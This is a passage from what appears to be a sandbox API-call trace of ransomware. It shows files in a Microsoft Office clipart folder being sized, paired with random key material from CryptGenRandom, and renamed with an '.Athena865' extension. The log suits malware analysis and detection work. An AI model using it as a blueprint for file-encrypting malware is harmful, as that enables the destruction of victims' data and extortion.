hTemplateFile=0x0) returned 0x17c [0133.574] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3541) returned 1 [0133.574] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.575] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.575] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.577] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.578] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.578] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.578] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH02417U.BMP" | out: lpString1="PH02417U.BMP") returned="PH02417U.BMP" [0133.578] lstrlenW (lpString="PH02417U.BMP") returned 12 [0133.578] lstrlenW (lpString="Athena865") returned 9 [0133.578] lstrcmpiW (lpString1="2417U.BMP", lpString2="Athena865") returned -1 [0133.578] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02417U.BMP.Athena865") returned 73 [0133.579] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02417U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02417u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02417U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02417u.bmp.athena865"), dwFlags=0x1) returned 1 [0133.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02417U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02417u.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.580] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=31968) returned 1 [0133.580] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.581] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.581] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.583] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.584] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.584] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.585] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH02466U.BMP" | out: lpString1="PH02466U.BMP") returned="PH02466U.BMP" [0133.585] lstrlenW (lpString="PH02466U.BMP") returned 12 [0133.585] lstrlenW (lpString="Athena865") returned 9 [0133.585] lstrcmpiW (lpString1="2466U.BMP", lpString2="Athena865") returned -1 [0133.585] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02466U.BMP.Athena865") returned 73 [0133.585] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02466U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02466u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02466U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02466u.bmp.athena865"), dwFlags=0x1) returned 1 [0133.586] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02466U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02466u.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.586] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=31752) returned 1 [0133.587] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.587] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.587] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.590] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.591] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.591] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.591] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH02470U.BMP" | out: lpString1="PH02470U.BMP") returned="PH02470U.BMP" [0133.591] lstrlenW (lpString="PH02470U.BMP") returned 12 [0133.591] lstrlenW (lpString="Athena865") returned 9 [0133.592] lstrcmpiW (lpString1="2470U.BMP", lpString2="Athena865") returned -1 [0133.592] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP.Athena865") returned 73 [0133.592] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02470u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02470u.bmp.athena865"), dwFlags=0x1) returned 1 [0133.593] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02470U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02470u.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.594] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=18684) returned 1 [0133.594] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.594] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.594] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.597] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.597] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.597] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.598] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH02503U.BMP" | out: lpString1="PH02503U.BMP") returned="PH02503U.BMP" [0133.598] lstrlenW (lpString="PH02503U.BMP") returned 12 [0133.598] lstrlenW (lpString="Athena865") returned 9 [0133.598] lstrcmpiW (lpString1="2503U.BMP", lpString2="Athena865") returned -1 [0133.598] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02503U.BMP.Athena865") returned 73 [0133.598] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02503U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02503u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02503U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02503u.bmp.athena865"), dwFlags=0x1) returned 1 [0133.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02503U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02503u.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.600] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=31968) returned 1 [0133.600] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.601] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.601] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.604] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.604] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.604] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.605] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH02567J.JPG" | out: lpString1="PH02567J.JPG") returned="PH02567J.JPG" [0133.605] lstrlenW (lpString="PH02567J.JPG") returned 12 [0133.605] lstrlenW (lpString="Athena865") returned 9 [0133.605] lstrcmpiW (lpString1="2567J.JPG", lpString2="Athena865") returned -1 [0133.605] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02567J.JPG.Athena865") returned 73 [0133.605] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02567J.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02567j.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02567J.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02567j.jpg.athena865"), dwFlags=0x1) returned 1 [0133.607] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02567J.JPG.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02567j.jpg.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.607] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=33945) returned 1 [0133.607] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.608] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.608] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.613] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.614] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.614] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.614] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH02736G.GIF" | out: lpString1="PH02736G.GIF") returned="PH02736G.GIF" [0133.614] lstrlenW (lpString="PH02736G.GIF") returned 12 [0133.615] lstrlenW (lpString="Athena865") returned 9 [0133.615] lstrcmpiW (lpString1="2736G.GIF", lpString2="Athena865") returned -1 [0133.615] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736G.GIF.Athena865") returned 73 [0133.615] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736G.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736g.gif.athena865"), dwFlags=0x1) returned 1 [0133.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736G.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736g.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.616] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=25499) returned 1 [0133.616] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.617] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.617] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.619] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.620] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.620] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.621] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH02736U.BMP" | out: lpString1="PH02736U.BMP") returned="PH02736U.BMP" [0133.621] lstrlenW (lpString="PH02736U.BMP") returned 12 [0133.621] lstrlenW (lpString="Athena865") returned 9 [0133.621] lstrcmpiW (lpString1="2736U.BMP", lpString2="Athena865") returned -1 [0133.621] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736U.BMP.Athena865") returned 73 [0133.621] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736u.bmp.athena865"), dwFlags=0x1) returned 1 [0133.622] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02736U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02736u.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.622] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=32400) returned 1 [0133.622] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.623] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.623] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.626] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.627] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.627] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.628] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH02738U.BMP" | out: lpString1="PH02738U.BMP") returned="PH02738U.BMP" [0133.628] lstrlenW (lpString="PH02738U.BMP") returned 12 [0133.628] lstrlenW (lpString="Athena865") returned 9 [0133.628] lstrcmpiW (lpString1="2738U.BMP", lpString2="Athena865") returned -1 [0133.628] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02738U.BMP.Athena865") returned 73 [0133.628] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02738U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02738u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02738U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02738u.bmp.athena865"), dwFlags=0x1) returned 1 [0133.629] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02738U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02738u.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.629] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=33048) returned 1 [0133.629] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.630] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.630] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.633] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.634] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.634] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.635] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH02740G.GIF" | out: lpString1="PH02740G.GIF") returned="PH02740G.GIF" [0133.635] lstrlenW (lpString="PH02740G.GIF") returned 12 [0133.635] lstrlenW (lpString="Athena865") returned 9 [0133.635] lstrcmpiW (lpString1="2740G.GIF", lpString2="Athena865") returned -1 [0133.635] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740G.GIF.Athena865") returned 73 [0133.635] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740G.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740g.gif.athena865"), dwFlags=0x1) returned 1 [0133.638] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740G.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740g.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.638] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=24363) returned 1 [0133.639] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.639] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.639] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.642] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.643] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.643] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.644] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH02740U.BMP" | out: lpString1="PH02740U.BMP") returned="PH02740U.BMP" [0133.644] lstrlenW (lpString="PH02740U.BMP") returned 12 [0133.644] lstrlenW (lpString="Athena865") returned 9 [0133.644] lstrcmpiW (lpString1="2740U.BMP", lpString2="Athena865") returned -1 [0133.644] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740U.BMP.Athena865") returned 73 [0133.644] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740u.bmp.athena865"), dwFlags=0x1) returned 1 [0133.645] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02740U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02740u.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.645] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=32616) returned 1 [0133.645] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.646] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.646] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.649] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.650] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.650] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.651] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH02742G.GIF" | out: lpString1="PH02742G.GIF") returned="PH02742G.GIF" [0133.651] lstrlenW (lpString="PH02742G.GIF") returned 12 [0133.651] lstrlenW (lpString="Athena865") returned 9 [0133.651] lstrcmpiW (lpString1="2742G.GIF", lpString2="Athena865") returned -1 [0133.651] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742G.GIF.Athena865") returned 73 [0133.651] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742G.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742g.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742G.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742g.gif.athena865"), dwFlags=0x1) returned 1 [0133.652] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742G.GIF.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742g.gif.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.652] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=20645) returned 1 [0133.652] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.653] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.653] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.656] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.656] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0133.656] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.657] lstrcpyW (in: lpString1=0x241e8ae, lpString2="PH02742U.BMP" | out: lpString1="PH02742U.BMP") returned="PH02742U.BMP" [0133.657] lstrlenW (lpString="PH02742U.BMP") returned 12 [0133.657] lstrlenW (lpString="Athena865") returned 9 [0133.657] lstrcmpiW (lpString1="2742U.BMP", lpString2="Athena865") returned -1 [0133.657] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742U.BMP.Athena865") returned 73 [0133.657] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742U.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742u.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742u.bmp.athena865"), dwFlags=0x1) returned 1 [0133.659] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PH02742U.BMP.Athena865" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ph02742u.bmp.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0133.659] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=31968) returned 1 [0133.659] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ecc0) returned 1 [0133.660] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0133.660] CryptReleaseContext (hProv=0x54ecc0, dwFlags=0x0) returned 1 [0133.662] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ecc0) returned 1 [0133.663] CryptGenRandom (in: hProv=0x54ecc0, dwLen=0x80, 